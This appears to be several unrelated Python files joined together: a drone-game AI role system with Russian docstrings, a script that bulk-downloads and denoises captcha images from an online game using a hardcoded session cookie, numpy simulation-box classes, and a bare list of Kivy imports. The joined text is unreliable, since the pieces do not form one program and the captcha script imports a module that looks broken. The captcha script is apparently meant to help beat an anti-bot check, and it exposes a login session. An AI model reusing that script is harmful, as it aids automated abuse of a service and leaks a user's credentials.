from operator import itemgetter
from random import choice
from typing import final, Final

from robogame_engine.geometry import Point, Vector

class RoleAbstract:
    """
    Начальный абстрактный класс для ролей дронов

    :param center: мозговой центр, управляющий поведением дронов
    :type center: object
    """

    my_drones_with_this_role = None  # атрибут для записи id дронов, имеющих роль
    combat_class = None  # атрибут для хранения инфо о том, боевой класс или нет
    highest_priority = None  # атрибут для хранения инфо о том, есть ли у класса приоритет или нет
    distribution = None  # атрибут для хранения инфо о том, нужна ли между дронами система распределения целей
    dict_for_distribution = None  # атрибут для осуществления алгоритма распределения целей
    check_safety_obj = None  # атрибут для хранения инфо о том, нужно ли проверять безопасность объекта полета

    def __init__(self, center):
        self.brain_center: Final = center

    def get_target_for_fly(self, my_drone_id: int, to_move: bool):
        """
        Общий метод для всех ролей, предназначенный для поиска и выбора цели, к которой должен полететь дрон

        :param my_drone_id: id дрона, который запросил поиск цели
        :type my_drone_id: int
        :param to_move: определяет, нужно ли дрону лететь к цели или достаточно к ней повернуться
        :type to_move: bool
        :return: возвращает родной материнский корабль
        :rtype: object
        :notes: в классах-наследниках следует переопределить return
        """

        return self.brain_center.all_objects_on_field['my_base']

    def update_distribution(self):
        """
        Общий метод для обновления информации о распределении целей

        :notes: в классах-наследниках следует переопределить return
        """

        pass

    def checks_in_heartbeat_for_drone_with_role(self, current_path_target_id):
        """
        Общий метод для проверок, нужных только для конкретной роли

        :param current_path_target_id: id объекта, к которому летит дрон (или к которому уже прилетел)
        :type current_path_target_id: int
        :notes: в классах-наследниках следует переопределить return
        """

        return True

    def check_safety_point_or_obj(self, cur_target: int or object, radius_cancel_fly: int):
        """
        Общий метод для проверки безопасности того или иного объекта (нет ли поблизости вражеских дронов)

        :param cur_target: id объекта или точка, к которой летит дрон (или к которой уже прилетел)
        :type cur_target: int или object
        :param radius_cancel_fly: радиус от объекта, если в пределах которого обнаружен враг, то объект считается
        небезопасным
        :type radius_cancel_fly: int
        """

        bc = self.brain_center
        if cur_target == bc.all_objects_on_field['my_base'].id:
            return True
        bc = self.brain_center

        if isinstance(cur_target, int):
            obj = bc.get_object_for_id(cur_target)
            obj_coord = obj.coord
        else:
            obj = cur_target
            obj_coord = obj

        alive_enemy_drones = bc.ret_drones_by_status(filter_alive=True, filter_our=False)
        permissions = []
        for enemy_drone in alive_enemy_drones:
            if permissions.count(False) >= 2:
                return False
            distance = enemy_drone.distance_to(obj)
            if radius_cancel_fly < distance < bc.shot_distance:  # дрон на расстоянии выстрела
                vector_from_enemy_drone = Vector.from_points(enemy_drone.coord, obj_coord)
                if vector_from_enemy_drone.direction - 90 <= enemy_drone.direction <= \
                        vector_from_enemy_drone.direction + 90:  # дрон повернут к цели
                    permissions.append(False)  # дроны на дистанции выстрела и смотрят на цель - отказать
                else:
                    permissions.append(True)  # дроны на дистанции выстрела, но смотрят в другую сторону - разрешить
            elif radius_cancel_fly >= distance:
                permissions.append(False)  # дроны слишком близко к цели - отказать
            else:
                permissions.append(True)  # дроны за дистанцией выстрела - разрешить
        if permissions.count(False) >= 2:
            return False
        else:
            return True

class RoleEarner(RoleAbstract):
    """
    Начальный абстрактный класс для ролей дронов, в качестве назначения имеющих сбор эллириума
    """

    combat_class = False  # переопределяем combat_class
    collecting_resource_from_my_quadrant = None  # атрибут для хранения инфо о том, нужно ли собираеть эллириум с мертвых тел

    def checks_in_heartbeat_for_drone_with_role(self, current_path_target_id: int):
        """
        Проверка для ролей с суперклассом RoleEarner, осуществляющаяся через метод on_heartbeat()

        :param current_path_target_id: id объекта, к которому летит дрон (или к которому уже прилетел)
        :type current_path_target_id: current_path_target_id
        :notes: В данном методе должны быть сосредоточены и распределены по порядку все проверки,
        совершающиеся для небоевых классов
        """

        return self.check_ast_pay_zero(current_path_target_id)

    def check_ast_pay_zero(self, current_path_target_id: int):
        """
        Проверка на определение остатков эллириума у объекта, к которому летит дрон

        :param current_path_target_id: id объекта, к которому летит дрон (или к которому уже прилетел)
        :type current_path_target_id: int
        :return: True, если объект не является родным материнским кораблем и там есть эллириум, False -
        в любом другом случае
        :rtype: bool
        """

        if current_path_target_id != self.brain_center.all_objects_on_field['my_base'].id:
            if self.brain_center.get_object_for_id(current_path_target_id).is_empty is True:
                return False
        return True

class RoleDestroyer(RoleAbstract):
    """
    Начальный абстрактный класс для ролей дронов, в качестве назначения имеющих уничтожение целей
    """

    combat_class = True  # переопределяем combat_class
    shot_distance = None  # дистанция выстрела

    def get_target_for_destroy(self, my_drone_id: int):
        """
        Общий метод для всех ролей с суперклассом RoleDestroyer, предназначенный для поиска и выбора цели
        в качестве мишени

        :param my_drone_id: id дрона, который запросил поиск цели
        :type my_drone_id: int
        :notes: в классах-наследниках следует переопределить return
        """

        return None

    def change_point(self, my_drone_id: int, add_identifier: int = None):
        """
        Общий метод для выбора точки обстрела для всех боевых классов

        :param my_drone_id: id дрона, который запросил выдачу точки
        :type my_drone_id: int
        :param add_identifier: дополнительный идентификатор для поиска точки (по умолчанию None)
        :type add_identifier: int или None
        :notes: в классах-наследниках следует переопределить return
        """

        return None

    def check_right_location(self, current_path_target: int):
        """
        Общий метод для проверки текущей локации для всех боевых классов
        (дрон с такой ролью должен быть либо на базе, либо на точке обстрела)

        :param current_path_target: объект, который нужно проверить (точка)
        :type current_path_target: object
        :return: True, если объект прошел проверки, False -
        если не прошел
        :rtype: bool
        :notes: в классах-наследниках следует переопределить return
        """

        return True

class RoleCollector(RoleEarner):
    """
    Класс Собиратели. Собирает эллириум с астероидов (и, возможно, мертвых дронов)
    в пределах своего квадранта (или, возможно, со всего поля).
    """

    highest_priority = True  # переопределяем highest_priority (у роли-наследника будет высший приоритет)
    collecting_resource_from_the_dead_obj = None  # атрибут для хранения информации о том, нужно ли сборщикам собирать эллириум с мертвых объектов

    def collecting_targets_for_collectors(self, *, quadrant: bool, dead: bool):
        """
        Метод для сбора потенциальных целей для Сборщиков.

        :param quadrant: значение переменной collecting_resource_from_my_quadrant из дочернего класса
        :type quadrant: bool
        :param dead: значение переменной collecting_resource_from_the_dead_obj из дочернего класса
        :type quadrant: bool
        :return: список потенциальных целей
        :rtype: list
        """

        bc = self.brain_center
        objects_for_fly = []  # собираем список потенциальных целей согласно атрибутам
        if quadrant is True:
            objects_for_fly.extend(bc.all_objects_on_field['asteroids_on_my_quadrant'])
            if dead is True:
                dead_objects = bc.ret_drones_by_status(filter_alive=False, filter_our=None)
                dead_objects = [obj for obj in dead_objects if bc.recognize_quadrant_for_obj(obj) == bc.my_quadrant]
                objects_for_fly.extend(dead_objects)
        else:
            objects_for_fly.extend(bc.all_objects_on_field['all_asteroids'])
            if dead is True:
                dead_objects = bc.ret_drones_by_status(filter_alive=False, filter_our=None)
                objects_for_fly.extend(dead_objects)
        return objects_for_fly

@final
class RoleSeniorCollector(RoleCollector):
    """
    Класс Старшие собиратели.
    Берет в работу только объекты, в которых эллириума больше, чем может вместить его трюм.
    Дроны с данной ролью летают к одному и тому же объекту только по одному.
    """

    my_drones_with_this_role = []  # переопределяем my_drones_with_this_role
    distribution = True  # переопределяем distribution (расределение целей нужно)
    dict_for_distribution = {}  # переопределяем dict_for_distribution для распределения целей
    collecting_resource_from_my_quadrant = False  # переопределяем collecting_resource_from_my_quadrant
    collecting_resource_from_the_dead_obj = True  # переопределяем collecting_resource_from_the_dead_obj

    def __init__(self, center):
        super().__init__(center)
        self.TAKE_INTO_WORK_OBJ_WITH_ELL: Final = center.MAX_DRONE_ELL  # в константу выносим максимальное кол-во эллириума на борту дрона

    def get_target_for_fly(self, my_drone_id: int, to_move: bool):  # переопределили метод из суперкласса
        """
        Метод для выбора цели для старшего сборщика
        (астероиды, у которых эллириума больше максимальной вместимости трюма у дрона)

        :param my_drone_id: id дрона, который запросил поиск цели
        :type my_drone_id: int
        :param to_move: определяет, нужно ли дрону лететь к цели или достаточно к ней повернуться
        :type to_move: bool
        :return: возвращает выбранный для полета объект или None, если объект не найден
        :rtype: object или None
        """

        bc = self.brain_center
        drone = bc.get_object_for_id(my_drone_id)

        if self.distribution is True:
            self.update_distribution()  # обновляем распределение целей

        objects_for_fly = self.collecting_targets_for_collectors(quadrant=self.collecting_resource_from_my_quadrant,
                                                                 dead=self.collecting_resource_from_the_dead_obj)

        info_about_obj = []  # дополняем список потенциальных целей рядом сторонних показателей (только дистанция от дрона до цели)
        for obj in objects_for_fly:
            if obj.payload >= self.TAKE_INTO_WORK_OBJ_WITH_ELL:
                if obj.id not in self.dict_for_distribution.keys() or \
                        self.dict_for_distribution[obj.id] is None:
                    info_about_obj.append([obj, drone.distance_to(obj)])
        try:
            next_obj = min(info_about_obj, key=itemgetter(1))[0]  # выбираем ближайшую цель
        except ValueError:
            return None  # если список пустой, значит цели закончились
        else:
            if to_move is True:
                self.dict_for_distribution[next_obj.id] = my_drone_id  # если дрон собирается лететь к цели, то закидываем инфу о предстоящем полете в атрибут для распределения целей
            return next_obj

    def update_distribution(self):  # переопределили метод из суперкласса
        """
        Метод для обновления объекта, хранящего информацию о распределнии целей между дронами в данной роли
        """

        bc = self.brain_center
        for obj_id, my_drone_id in self.dict_for_distribution.items():
            if my_drone_id is not None:
                if bc.get_object_for_id(obj_id).is_empty is True or \
                        bc.get_object_for_id(my_drone_id).is_alive is False:  # если цель уже исчерпала эллириум или дрон, полетевший к ней, погиб раньше, чем смог долететь, то ставим None (чтобы цель снова участвовала в распределении)
                    self.dict_for_distribution[obj_id] = None

@final
class RoleJuniorCollector(RoleCollector):
    """
    Класс Младшие собиратели.
    Берет в работу все объекты, где есть эллириум в пределах дозволенной области
    Дроны с данной ролью могут летать к одному и тому же объекту одновременно
    """

    my_drones_with_this_role = []  # переопределяем my_drones_with_this_role
    distribution = False  # переопределяем distribution (расределение целей не нужно)
    collecting_resource_from_my_quadrant = True  # переопределяем collecting_resource_from_my_quadrant
    collecting_resource_from_the_dead_obj = False  # переопределяем collecting_resource_from_the_dead_obj

    def __init__(self, center):
        super().__init__(center)
        self.MAX_FREE_SPACE_IN_DRONE: Final = center.MAX_DRONE_ELL  # в константу выносим максимальное кол-во эллириума на борту дрона

    def get_sum_free_space_in_other_drones_on_ast(self, obj_with_ell_id: int):
        """
        Метод суммирует свободное место в трюмах дронов, которые летят к объекту с id = obj_with_ell_id

        :param obj_with_ell_id: id объекта
        :type obj_with_ell_id: object
        :return: суммарное количество свободного места в трюмах
        :rtype: int
        """

        bc = self.brain_center
        list_my_drones = bc.ret_drones_with_current_path_target(obj_with_ell_id)
        sum_free_space = sum([drone.free_space for drone in list_my_drones])
        return sum_free_space

    def get_free_space_in_my_drone(self, my_drone: object):
        """
        Метод для подсчета свободного места в дроне после того, как он обработает свою текущую цель (к которой летит)

        :param my_drone: дрон, который запросил поиск цели
        :type my_drone: object
        :return: возвращает количество свободного места в трюме
        :rtype: int
        """

        bc = self.brain_center
        location_id = my_drone.current_path_target
        if location_id is not None:
            location = bc.get_object_for_id(location_id)
            if location != bc.all_objects_on_field['my_base']:
                return my_drone.free_space - location.payload
        return self.MAX_FREE_SPACE_IN_DRONE

    def get_target_for_fly(self, my_drone_id: int, to_move: bool):
        """
        Метод для выбора цели для младшего сборщика (астероиды или, возможно, мертвые дроны,
        у которых эллириума меньше максимальной вместимости трюма дрона)

        :param my_drone_id: id дрона, который запросил поиск цели
        :type my_drone_id: int
        :param to_move: определяет, нужно ли дрону лететь к цели или достаточно к ней повернуться
        :type to_move: bool
        :return: возвращает выбранный для полета объект или None, если объект не найден
        :rtype: object или None
        """

        bc = self.brain_center
        drone = bc.get_object_for_id(my_drone_id)

        if self.distribution is True:
            self.update_distribution()  # обновляем распределение целей (тут не нужно)

        objects_for_fly = self.collecting_targets_for_collectors(quadrant=self.collecting_resource_from_my_quadrant,
                                                                 dead=self.collecting_resource_from_the_dead_obj)

        info_about_obj = []
        for obj in objects_for_fly:
            if obj.is_empty is False:
                sum_fs = self.get_sum_free_space_in_other_drones_on_ast(obj.id)  # суммируем свободное место в трюмах
                if sum_fs < obj.payload:
                    free_ell_in_ast = obj.payload - sum_fs  # определяем остатки эллириума на объекте после того, как с них соберут ресурс дроны, которые уже к нему летят
                    info_about_obj.append([obj, drone.distance_to(obj), free_ell_in_ast])

        drone_free_space = self.get_free_space_in_my_drone(drone)

        info_about_obj = sorted(info_about_obj, key=lambda dist_to_ast: dist_to_ast[2])
        number_dist = len(info_about_obj)
        for info_about_one_obj in info_about_obj:
            free_ell_in_obj = info_about_one_obj[2]
            factor = free_ell_in_obj / (
                drone_free_space if drone_free_space != 0 else 1)  # считаем соотношение будущих остатков эллириума на объекте к будущему free_space у текущего дрона
            priority = factor + number_dist
            info_about_one_obj.append(priority)
            number_dist -= 1
        try:
            next_asteroid = max(info_about_obj, key=itemgetter(3))[0]
        except ValueError:
            return None
        else:
            return next_asteroid

@final
class RoleScavenger(RoleEarner):
    """
    Класс Падальщики.
    Сидят на базе и вылетают в поле только тогда, когда появляется мертвый объект с эллириумом.
    Дроны с данной ролью могут летать к одному и тому же объекту одновременно, если это чья-то база, если же дрон -
    то только по одному
    """

    my_drones_with_this_role = []  # переопределяем my_drones_with_this_role
    distribution = True  # переопределяем distribution (расределение целей нужно)
    dict_for_distribution = {}  # переопределяем dict_for_distribution для распределения целей
    collecting_resource_from_my_quadrant = False  # переопределяем collecting_resource_from_my_quadrant
    highest_priority = False  # переопределяем highest_priority (здесь - низкий приоритет)
    check_safety_obj = True  # переопределяем check_safety_obj (здесь - True)
    COUNT_OF_STEPS_BEFORE_WORK = 150  # кол-во шагов игры, пока проиграется анимация смерти у дронов
    RADIUS_CANCEL_FLY = 100  # если в радиусе объекта замечены вражеские дроны, то объект не считается безопасным автоматически (без других проверок)

    def get_target_for_fly(self, my_drone_id: int, to_move: bool):
        """
        Метод для выбора цели для Падальщика (ими могут быть только мертвые дроны/базы с эллириумом

        :param my_drone_id: id дрона, который запросил поиск цели
        :type my_drone_id: int
        :param to_move: определяет, нужно ли дрону лететь к цели или достаточно к ней повернуться
        :type to_move: bool
        :return: возвращает выбранный для полета объект или родной материнский корабль, если объект не найден
        :rtype: object
        """

        bc = self.brain_center
        my_drone = bc.get_object_for_id(my_drone_id)
        if my_drone.is_empty is False:
            return bc.all_objects_on_field['my_base']  # если у текущего дрона есть эллириум, то пусть сначала летит на базу для разгрузки

        if self.distribution is True:
            self.update_distribution()  # обновляем распределение целей

        dead_objects_with_ell = []
        for key_obj_id, value_info in bc.dead_obj_with_ell_on_field.items():
            obj = bc.get_object_for_id(key_obj_id)
            if obj.is_empty is False:  # интересуют мертвые объекты, если у них есть эллириум
                if self.check_safety_point_or_obj(key_obj_id, self.RADIUS_CANCEL_FLY) is True:  # если поблизости к объекту нет врагов
                    if obj.payload > bc.MAX_DRONE_ELL:
                            dead_objects_with_ell.append([obj, my_drone.distance_to(obj)])  # если у объекта эллириума больше, чем максимальная вместимость трюма, то лететь можно всем сразу
                    else:
                        if key_obj_id not in self.dict_for_distribution.keys() \
                                or self.dict_for_distribution[key_obj_id] is None:
                            if value_info is None or value_info > self.COUNT_OF_STEPS_BEFORE_WORK:  # летим к дрону, только если у него завершилась анимация смерти
                                dead_objects_with_ell.append([obj, my_drone.distance_to(obj)])
                else:
                    if key_obj_id in self.dict_for_distribution.keys():  # если объект небезопасен, то возвращаем его в алгоритм распределения целей
                        self.dict_for_distribution[key_obj_id] = None
        try:
            next_obj_with_ell = min(dead_objects_with_ell, key=itemgetter(1))[0]
        except ValueError:
            return bc.all_objects_on_field['my_base']
        else:
            if to_move is True:
                self.dict_for_distribution[next_obj_with_ell.id] = my_drone_id
            return next_obj_with_ell

    def update_distribution(self):
        """
        Метод для обновления объекта, хранящего информацию о распределнии целей между дронами в данной роли
        """

        bc = self.brain_center
        for dead_object_id, my_drone_id in self.dict_for_distribution.items():
            if my_drone_id is not None:
                if bc.get_object_for_id(dead_object_id).is_empty is True or \
                        bc.get_object_for_id(my_drone_id).is_alive is False or \
                        bc.get_object_for_id(my_drone_id).near(bc.all_objects_on_field['my_base']) is True:
                    self.dict_for_distribution[dead_object_id] = None

    def checks_in_heartbeat_for_drone_with_role(self, current_path_target_id):  # переопределяем метод одного из суперкласов, добавляя помимо существующих проверок еще одну (на безопасность объекта)
        """
        Проверка для ролей, осуществляющаяся через метод on_heartbeat()

        :param current_path_target_id: id объекта, к которому летит дрон (или к которому уже прилетел)
        :type current_path_target_id: int
        :notes: использует проверки, определенные в суперклассе + кое-что из своего
        """

        if self.check_safety_point_or_obj(current_path_target_id, self.RADIUS_CANCEL_FLY) is True:
            if isinstance(current_path_target_id, int) is True:
                return super(RoleScavenger, self).checks_in_heartbeat_for_drone_with_role(
                    current_path_target_id)
            else:
                return True
        else:
            if current_path_target_id in self.dict_for_distribution.keys():  # если объект небезопасен, то возвращаем его в алгоритм распределения целей
                self.dict_for_distribution[current_path_target_id] = None
        return False

@final
class RoleDefenderBase(RoleDestroyer):
    """
    Класс Защитник Базы.
    Выстраиваются вокруг базы в построение (точки для построения берут из мозгового центра) и отстреливают дронов,
    которые нарушили периметр базы
    """

    my_drones_with_this_role = []  # переопределяем my_drones_with_this_role
    distribution = True  # переопределяем distribution (расределение целей нужно)
    dict_for_distribution = {}  # переопределяем dict_for_distribution для распределения целей
    highest_priority = True  # переопределяем highest_priority (здесь - высший)

    def get_target_for_fly(self, my_drone_id: int, to_move: bool):  # переопределяем метод одного из суперклассов
        """
        Метод для выбора цели для Защитника (либо на базу, либо на точку защиты)

        :param my_drone_id: id дрона, который запросил поиск цели
        :type my_drone_id: int
        :param to_move: определяет, нужно ли дрону лететь к цели или достаточно к ней повернуться (здесь не используется)
        :type to_move: bool
        :return: возвращает либо одну из точек зашиты, либо родной материнский корабль
        :rtype: object
        """

        drone = self.brain_center.get_object_for_id(my_drone_id)
        if self.distribution is True:
            self.update_distribution()
        if my_drone_id in self.dict_for_distribution.keys():
            if self.dict_for_distribution[my_drone_id] is not None:
                return self.dict_for_distribution[my_drone_id]
        if drone.is_empty is True:
            return self.change_point(my_drone_id)  # если дрон пустой, то пусть встает на защиту
        else:
            return self.brain_center.all_objects_on_field['my_base']  # если дрон не пустой, то пусть летит на базу

    def get_target_for_destroy(self, my_drone_id: int):  # переопределяем метод одного из суперклассов
        """
        Метод для выбора цели для Защитника (выбирает цель именно для атаки)

        :param my_drone_id: id дрона, который запросил поиск мишени
        :type my_drone_id: int
        :return: возвращает либо объект, по которому нужно выстрелить, либо None, если объект не найден
        :rtype: object или None
        """

        bc = self.brain_center
        potential_targets = []
        for enemy_drone_id in bc.enemy_drones_around_base:
            enemy_drone = bc.get_object_for_id(enemy_drone_id)
            if enemy_drone.is_alive is True:
                potential_targets.append([enemy_drone, bc.all_objects_on_field['my_base'].distance_to(enemy_drone)])
        try:
            next_combat_target = min(potential_targets, key=itemgetter(1))[0]
        except ValueError:
            return None
        else:
            return next_combat_target

    def update_distribution(self):  # переопределили метод одного из суперкласса
        """
        Метод для обновления объекта, хранящего информацию о распределнии точек защиты между дронами
        (дроны не должны толпиться на одной точке, иначе будут стрелять друг по другу)
        """

        bc = self.brain_center
        for def_point, my_drone_id in self.dict_for_distribution.items():
            if my_drone_id is not None:
                my_drone = bc.get_object_for_id(my_drone_id)
                if def_point not in bc.ret_current_path_targets_in_my_drones or \
                        my_drone.is_alive is False:
                    self.dict_for_distribution[def_point] = None

    def change_point(self, my_drone_id: int, add_identifier: int = None):  # переопределили метод в одном из суперклассов
        """
        Метод для выбора точки защиты

        :param my_drone_id: id дрона, который запросил поиск точки защиты
        :type my_drone_id: int
        :param add_identifier: дополнительный идентификатор (здесь не нужен, поэтому None)
        :type add_identifier: None
        :return: возвращает случайную точку защиты
        :rtype: object
        """

        bc = self.brain_center
        potential_points = []
        for defend_point in bc.defend_points:
            if defend_point not in self.dict_for_distribution.keys() or \
                    self.dict_for_distribution[defend_point] is None:
                potential_points.append(defend_point)
        chosen_def_point = choice(potential_points)
        self.dict_for_distribution[chosen_def_point] = my_drone_id
        return chosen_def_point

    def checks_in_heartbeat_for_drone_with_role(self, current_path_target: int or object):
        """
        Проверка для ролей, осуществляющаяся через метод on_heartbeat()

        :param current_path_target: id объекта, к которому летит дрон (или к которому уже прилетел)
        :type current_path_target: int or object
        :notes: использует проверки, определенные в суперклассе + кое-что из своего
        """

        if self.check_right_location(current_path_target) is True:
            return super(RoleDefenderBase, self).checks_in_heartbeat_for_drone_with_role(current_path_target)
        return False

    def check_right_location(self, current_path_target: int or object):  # переопределили метод в одном из суперклассов
        """
        Проверка для ролей, осуществляющаяся через метод on_heartbeat()

        :param current_path_target: id объекта или точка, к которой летит дрон (или к которой уже прилетел)
        :type current_path_target:
        :notes: использует проверки, определенные в суперклассе + кое-что из своего
        """

        bc = self.brain_center
        if current_path_target not in bc.defend_points:
            return False
        else:
            return True

@final
class RoleSiegeMaster(RoleDestroyer):
    """
    Класс Осадный мастер.
    Летит к незащищенной вражеской базе и обстреливает ее, занимая одну из ранее сформированных точек
    """

    my_drones_with_this_role = []  # переопределяем my_drones_with_this_role
    distribution = True  # переопределяем distribution (расределение целей нужно)
    dict_for_distribution = {}  # переопределяем dict_for_distribution для распределения целей
    highest_priority = False  # переопределяем highest_priority (здесь - низший)
    RADIUS_CANCEL_FLY = 100  # если в радиусе объекта замечены вражеские дроны, то объект не считается безопасным автоматически (без других проверок)

    def get_target_for_fly(self, my_drone_id: int, to_move: bool):  # переопределили метод в одном из суперклассов
        """
        Метод для выбора цели для Защитника (либо на базу, либо на точку атаки)

        :param my_drone_id: id дрона, который запросил поиск цели
        :type my_drone_id: int
        :param to_move: определяет, нужно ли дрону лететь к цели или достаточно к ней повернуться (здесь не используется)
        :type to_move: bool
        :return: возвращает либо одну из точек атаки, либо родной материнский корабль
        :rtype: object
        """

        bc = self.brain_center
        my_drone = self.brain_center.get_object_for_id(my_drone_id)
        if my_drone.is_empty is False:
            return bc.all_objects_on_field['my_base']

        if self.distribution is True:
            self.update_distribution()

        base_without_drones = []
        for base_id in bc.enemy_bases_without_drones:
            enemy_base = bc.get_object_for_id(base_id)
            if enemy_base.is_alive is True:
                base_without_drones.append([enemy_base, my_drone.distance_to(enemy_base)])
        try:
            next_base_without_drones = min(base_without_drones, key=itemgetter(1))[0]
        except ValueError:
            return bc.all_objects_on_field['my_base']
        else:
            return self.change_point(my_drone_id, next_base_without_drones.id)

    def update_distribution(self):  # переопределили метод в одном из суперклассов
        """
        Метод для обновления объекта, хранящего информацию о распределении точек атаки между дронами
        (дроны не должны толпиться на одной точке, иначе будут стрелять друг по другу)
        """

        for att_point, my_drone_id in self.dict_for_distribution.items():
            if my_drone_id is not None:
                if att_point not in self.brain_center.ret_current_path_targets_in_my_drones:
                    self.dict_for_distribution[att_point] = None

    def get_target_for_destroy(self, my_drone_id: int):  # переопределили метод в одном из суперклассов
        """
        Метод для выбора цели для Защитника (выбирает цель именно для атаки)

        :param my_drone_id: id дрона, который запросил поиск мишени
        :type my_drone_id: int
        :return: возвращает либо объект, по которому нужно выстрелить, либо None, если объект не найден
        :rtype: object или None
        """

        bc = self.brain_center
        my_drone = bc.get_object_for_id(my_drone_id)
        potential_targets = []
        for enemy_base in bc.ret_enemy_bases_by_status(filter_alive=True):
            potential_targets.append([enemy_base, my_drone.distance_to(enemy_base)])
        try:
            next_combat_target = min(potential_targets, key=itemgetter(1))[0]
        except ValueError:
            return None
        else:
            return next_combat_target

    def change_point(self, my_drone_id: int, add_identifier: int = None):  # переопределили метод в одном из суперклассов
        """
        Метод для выбора точки атаки

        :param my_drone_id: id дрона, который запросил поиск точки защиты
        :type my_drone_id: int
        :param add_identifier: дополнительный идентификатор (здесь нужен - id вражеской базы)
        :type add_identifier: int
        :return: возвращает случайную точку атаки или родную базу
        :rtype: object
        """

        bc = self.brain_center
        base_id = add_identifier
        potential_attack_points = []
        for att_point in bc.attack_points[base_id]:
            if att_point not in self.dict_for_distribution.keys() or \
                    self.dict_for_distribution[att_point] is None:
                if self.check_safety_point_or_obj(att_point, self.RADIUS_CANCEL_FLY) is True:
                    potential_attack_points.append(att_point)
        try:
            chosen_point = choice(potential_attack_points)
        except IndexError:
            return bc.all_objects_on_field['my_base']
        else:
            self.dict_for_distribution[chosen_point] = my_drone_id
            return chosen_point

    def checks_in_heartbeat_for_drone_with_role(self, current_path_target: int or object):  # переопределили метод в одном из суперклассов
        """
        Проверка для ролей, осуществляющаяся через метод on_heartbeat()

        :param current_path_target: id объекта, к которому летит дрон (или к которому уже прилетел)
        :type current_path_target: int or object
        :notes: использует проверки, определенные в суперклассе + кое-что из своего
        """

        if self.check_right_location(current_path_target) is True:
            if self.check_safety_point_or_obj(current_path_target, self.RADIUS_CANCEL_FLY) is True:
                return super(RoleSiegeMaster, self).checks_in_heartbeat_for_drone_with_role(current_path_target)
            else:
                if current_path_target in self.dict_for_distribution.keys():  # если объект небезопасен, то возвращаем его в алгоритм распределения целей
                    self.dict_for_distribution[current_path_target] = None
        return False

    def check_right_location(self, current_path_target: Point or int):
        """
        Метод для проверки текущей локации (дрон должен быть либо на базе, либо на точке обстрела)

        :param current_path_target: объект, который нужно проверить (точка)
        :type current_path_target: object or int
        :return: True, если объект прошел проверки, False - если не прошел
        :rtype: bool
        """

        bc = self.brain_center
        if any([current_path_target in att_point for att_point in bc.attack_points.values()]) is False and \
                current_path_target != bc.all_objects_on_field['my_base'].id:
            return False
        else:
            return True


import requests
from PIL import Image, ImageOps
import pywin32_system32

import os, sys, io
import time, string
from timeit import default_timer as timer

savedir = 'C:\\Users\\David\\test\\syrnia\\captchas'

url = "http://www.syrnia.com/workimage.php"
data = "/theGame/ajax/centerContent.php HTTP/1.1".encode('utf-8')
headers = {
    "Host": "www.syrnia.com", "Connection": "keep-alive", "Content-Length": "20", "Origin": "http://www.syrnia.com",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36",
    "Content-type": "application/x-www-form-urlencoded; charset=UTF-8",
    "Accept": "text/javascript, text/html, application/xml, text/xml, */*", "X-Prototype-Version": "1.6.1",
    "X-Requested-With": "XMLHttpRequest", "DNT": "1", "Referer": "http://www.syrnia.com/game.php",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "en-US,en;q=0.9",
    "Cookie": "gamescreenwidth=1024; PHPSESSID=lq1k2oacc1ivmvd4kamc54lfe6; Syrnia=neggie333"}
suffixnum = string.digits + string.ascii_lowercase  # "0123456789abcdefghijklmnopqrstuvwxyz"

def getimg(code):
    os.chdir(savedir)
    savelist = []
    times = []
    counter = 0
    starttime = timer()
    with requests.Session() as s:
        s.headers = headers
        for i in range(0, 36):
            start = timer()
            ticked = False
            filename = "%s %s.png" % (code, suffixnum[i])
            if not os.path.isfile(filename):
                resp = s.post(url, data=data)
                # r = requests.post(url, data = data, headers = headers)
                pic = resp.content
                if 12000 < len(pic) < 20000:
                    savelist.append((filename, pic))
                else:
                    # if len(pic) == 0:
                    # win32api.MessageBox(0, 'replace session id', 'error :(', 0x00001000)
                    # raise ValueError("Nothing returned, check session id?"%len(pic)) #  Should this happen? If it cuts off halfway it should keep going?
                    # break # for loop: line 36
                    # else:    # write contents into an error log: try bytes, then text.
                    # errorlogname = time.time()
                    # try:
                    # with open()
                    pywin32_system32.MessageBox(0, 'didn\'t work', 'error :(', 0x00001000)
                    raise ValueError("File size is out of range: %s" % len(pic))

                counter += 1
                ticked = True
            end = timer()
            times.append(end - start)
            if not counter % 6 and counter * ticked:  # prints every 6 if counter has ticked and >0
                print("saved %s codes" % counter)
    endtime = timer()
    print('done (%s)' % code)
    # print('Total: %s. Min: %s Max: %s Avg: %s'%(endtime-starttime, min(times), max(times), sum(times)/len(times)))
    print('Total: {:.5f}. Avg: {:.5f}\nMin: {:.5f} Max: {:.5f}'.format(endtime - starttime, sum(times) / len(times),
                                                                       min(times), max(times)))

    pywin32_system32.MessageBox(0, 'do the captcha you sausage', 'pics saved', 0x00001000)
    import denoise
    for pic in savelist:
        filename = pic[0]
        picture = Image.open(io.BytesIO(pic[1]))
        picture = picture.convert("RGB")
        result = denoise.denoise(pic=picture, filename=filename)
        result = result.crop((0, 0, 150, 55))
        result.save(filename)
    if len(savelist) > 0:
        print('converted & saved')

def main():
    codeformat = True
    while codeformat:
        if len(sys.argv) > 1 and sys.argv[1]:  # is not none
            code = sys.argv[1]
        else:
            code = input("What's the code?\n> ")
        try:
            int(code)  # make sure it's a number
            if len(code) in (3, 4):  # make sure it's the right length
                codeformat = False
            else:
                sys.argv[1] = None
                raise Exception
        except Exception:
            print("Try again: code must be a 3 or 4 digit number.")
    getimg(code)

if __name__ == "__main__":
    main()


import numpy as np
import os

class Point:
    def __init__(self, pos):
        self.x = pos[0]
        self.y = pos[1]
        self.z = pos[2]

class Atoms:
    def __init__(self, points, density):
        self.number = len(points)
        self.positions = points
        self.density = density
        return

class Box:
    def __init__(self, lx, ly, lz):
        self.xlo = -lx/2.
        self.xhi = lx/2.
        self.ylo = -ly/2.
        self.yhi = ly/2.
        self.zlo = 0
        self.zhi = lz


# ////////////////////////////////////////////////////////////////
# //                     IMPORT STATEMENTS                      //
# ////////////////////////////////////////////////////////////////

import math
import sys
import time
import threading

from kivy.app import App
from kivy.lang import Builder
from kivy.core.window import Window
from kivy.uix.screenmanager import ScreenManager, Screen
from kivy.uix.button import Button
from kivy.uix.floatlayout import FloatLayout
from kivy.graphics import *
from kivy.uix.popup import Popup
from kivy.uix.label import Label
from kivy.uix.widget import Widget
from kivy.uix.slider import Slider
from kivy.uix.image import Image
from kivy.uix.behaviors import ButtonBehavior
from kivy.clock import Clock
from kivy.animation import Animation
from functools import partial
from kivy.config import Config
from kivy.core.window import Window
from pidev.kivy import DPEAButton
from pidev.kivy import PauseScreen
from time import sleep
